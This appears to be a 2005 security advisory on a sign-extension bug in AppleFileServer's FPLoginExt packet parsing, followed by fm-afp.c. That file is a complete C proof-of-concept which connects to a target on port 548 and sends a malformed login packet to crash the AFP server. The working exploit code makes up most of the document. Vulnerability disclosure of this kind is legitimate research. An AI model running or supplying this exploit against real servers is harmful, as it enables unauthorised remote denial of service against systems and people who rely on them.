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AppleFileServer Denial of Service.



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Program:        AppleFileServer 
Impact:         DoS, Possible remote root.      
Discovered:     25th January 2005 Braden Thomas.
Advisory written by: nemo -( nemo@xxxxxxxxxxxxxxxx )-, after further 
investigation of the bugs.

Writeup and exploits:

1) Background
A sign extending bug in AppleFileServer exists while parsing a FPLoginExt 
packet.

2) Description

The sign extending bug exists when the AFP server is parsing the UAM string 
length from the FPLoginExt packet. The string length is read in as a signed
 short and then passed to the strncpy() function without a cast.
This results in a length of greater than 0x7fff to be send to strncpy() as
a signed int, such as 0xffff8000. When interpreted as unsigned by strncpy() 
this results in a massive length being used.
This causes the strncpy to die with an EXC_BAD_ACCESS signal on the following 
instruction:

        0x9000b080 <strncpy+288>:       dcbz    r0,r9   // Dies here.
        0x9000b084 <strncpy+292>:       addi    r9,r9,32
        0x9000b088 <strncpy+296>:       bdnz+   0x9000b080 <strncpy+288>

After some investigation it can be seen that these instructions equate to the 
following c code from strncpy:

        /* NUL pad the remaining n-1 bytes */
        while (--n != 0)
                *d++ = 0;

Where 'n' is the length argument passed to strncpy and 'd' is the destination
char pointer.

>From research it can be seen that by providing a large number to strncpy() as
the length argument, the stack will be padded with NULL bytes, until a write
to the top of the stack (0xf0102000 in the case of this thread). This is what 
causes the EXC_BAD_ACCESS signal, and therefore causes a Denial of Service to
the AFP server.

3) Notes
I was unable to exploit the strncpy() bug in a way that controls execution.

4) Vendor status/notes/fixes/statements
Apple have been notified about this bug.

5) Exploit
Here is a little PoC to crash afp remotely.


<--- fm-afp.c --->
/* [ fm-afp.c ]
 * -( nemo @ felinemenace.org )- 2005
 *
 * Code for afp bug found by Braden Thomas.
 * 
 * Again hello to everyone @ irc.pulltheplug.org
 *
 * need a challenge? -( http://pulltheplug.org )-
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define UAMSIZE    1022
#define AFPVERSIZE 5
#define PATHSIZE   30
#define UASIZE     30
#define AFPNSIZE   5
#define AFPPORT    548
#define BUFSIZE sizeof(dsi)+sizeof(fploginext) //+LEN+sizeof(afpEnd)

typedef struct { char AFPVER[AFPVERSIZE]  ;} AFPVER_T;
typedef struct { char UAM[UAMSIZE]        ;} UAM_T;
typedef struct { char PATH[PATHSIZE]      ;} PATH_T;
typedef struct { char UserAuthInfo[UASIZE];} UserAuth_t;
typedef struct { char AFPName[AFPNSIZE]   ;} AFPName_t;

typedef struct dsi { // Data Stream Interface.
        u_int8_t  req;
        u_int8_t  com;
        u_int16_t id;
        u_int32_t offset;
        u_int32_t len;
        u_int32_t reserved;
} DSI_T;

typedef struct FPLoginExt { // Establishes a session with a server using an
Open Directory domain. 
        u_int8_t   command;
        u_int8_t   pad;
        u_int16_t  flags;
        AFPVER_T   AFPVER;
        UAM_T      UAM;                 
        u_int8_t   UserNameType;
        AFPName_t  UserName;
        u_int8_t   PathType;
        PATH_T     Pathname;
        u_int8_t   pad2;
        UserAuth_t UserAuthInfo;
} FP_LoginExt_T;

DSI_T dsi;
FP_LoginExt_T fploginext;

void banner()
{
        printf(" [ fm-afp.c ]\n");
        printf("-( nemo@xxxxxxxxxxxxxxxx )-\n\n");
}

void usage(char *progname)
{
        printf("usage: %s <ip address>.\n",progname);
        exit(1);
}

int connect_afp(char *ip,int *sockfd) 
{
        struct sockaddr_in target_addr;
        int len;

        *sockfd = socket(AF_INET, SOCK_STREAM, 0);

        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(AFPPORT);
        inet_aton(ip, &(target_addr.sin_addr));
        memset(&(target_addr.sin_zero), '\0', 8);

        if (connect(*sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
                return 1;
        } 
        return 0;
}

void generate_packet(char *packet)
{
        int n;

        dsi.req       = '\x00';
        dsi.com       = '\x02';
        dsi.id        = (u_int16_t)0x0002;
        dsi.offset    = 0x00000000; 
        dsi.len       = 0x00000434;
        dsi.reserved  = 0x00000000;

        fploginext.command = (u_int8_t)'\x3f';
        fploginext.pad     = (u_int8_t)'\x00';
        fploginext.flags   = (u_int16_t)0x0000;
        memcpy((char *)&(fploginext.AFPVER),"\x04\x6e\x65\x6d\x6f",5);
        memset((char*)((&fploginext.UAM)),'\x70',sizeof(fploginext.UAM));
        fploginext.UAM.UAM[0] = '\x0f';
        fploginext.UAM.UAM[1] = '\xff';
        fploginext.UAM.UAM[257] = '\xff';               //      size of next
string.
        fploginext.UAM.UAM[258] = '\xff';               //      
        fploginext.UAM.UAM[500] = '\x00';               //      size of next
string.
        fploginext.UAM.UAM[501] = '\xf0';               //      

        fploginext.UserNameType = (u_int8_t)'\x11';
        memcpy((char *)&(fploginext.UserName),"\x54\x6e\x65\x6d\x6f",5);
        fploginext.PathType = (u_int8_t)'\xff';
        memcpy((char
*)&(fploginext.Pathname),"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",30);
        fploginext.pad2 = (u_int8_t)'\xff';
        memcpy((char
*)&(fploginext.UserAuthInfo),"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",30);


        memcpy(packet, &dsi, sizeof(dsi));
        packet += sizeof(dsi);
        memcpy(packet, &fploginext, sizeof(fploginext));
}

int send_packet(char *packet,int *sockfd)
{
        if (send(*sockfd, packet, BUFSIZE, 0) == -1) {
                return 1;
        }
        
        return 0;
}

int main(int ac, char **av)
{
        int sockfd;     
        char packet[BUFSIZE];
        struct timeval time;

        banner();
        if(ac != 2) {
                usage(*av);
        }
        printf("[+] Connecting to target: %s.\n",av[1]);
        if(connect_afp(av[1],&sockfd)) {
                printf("[-] An error has occured connecting to the
target.\n");
                exit(1);
        }

        printf("[+] Generating malicious packet.\n");
        generate_packet(packet);

        printf("[+] Sending packet to target.\n");
        if(send_packet(packet,&sockfd)) {
                printf("[-] Error sending packet.\n");
                close(sockfd);
                exit(1);
        }

        fd_set mySet;
        FD_ZERO(&mySet);
        FD_SET(sockfd, &mySet);
        time.tv_sec = 0;
        time.tv_usec = 50;
        select(sockfd+1, &mySet, NULL, NULL, &time);

        close(sockfd);
        return 0;       
}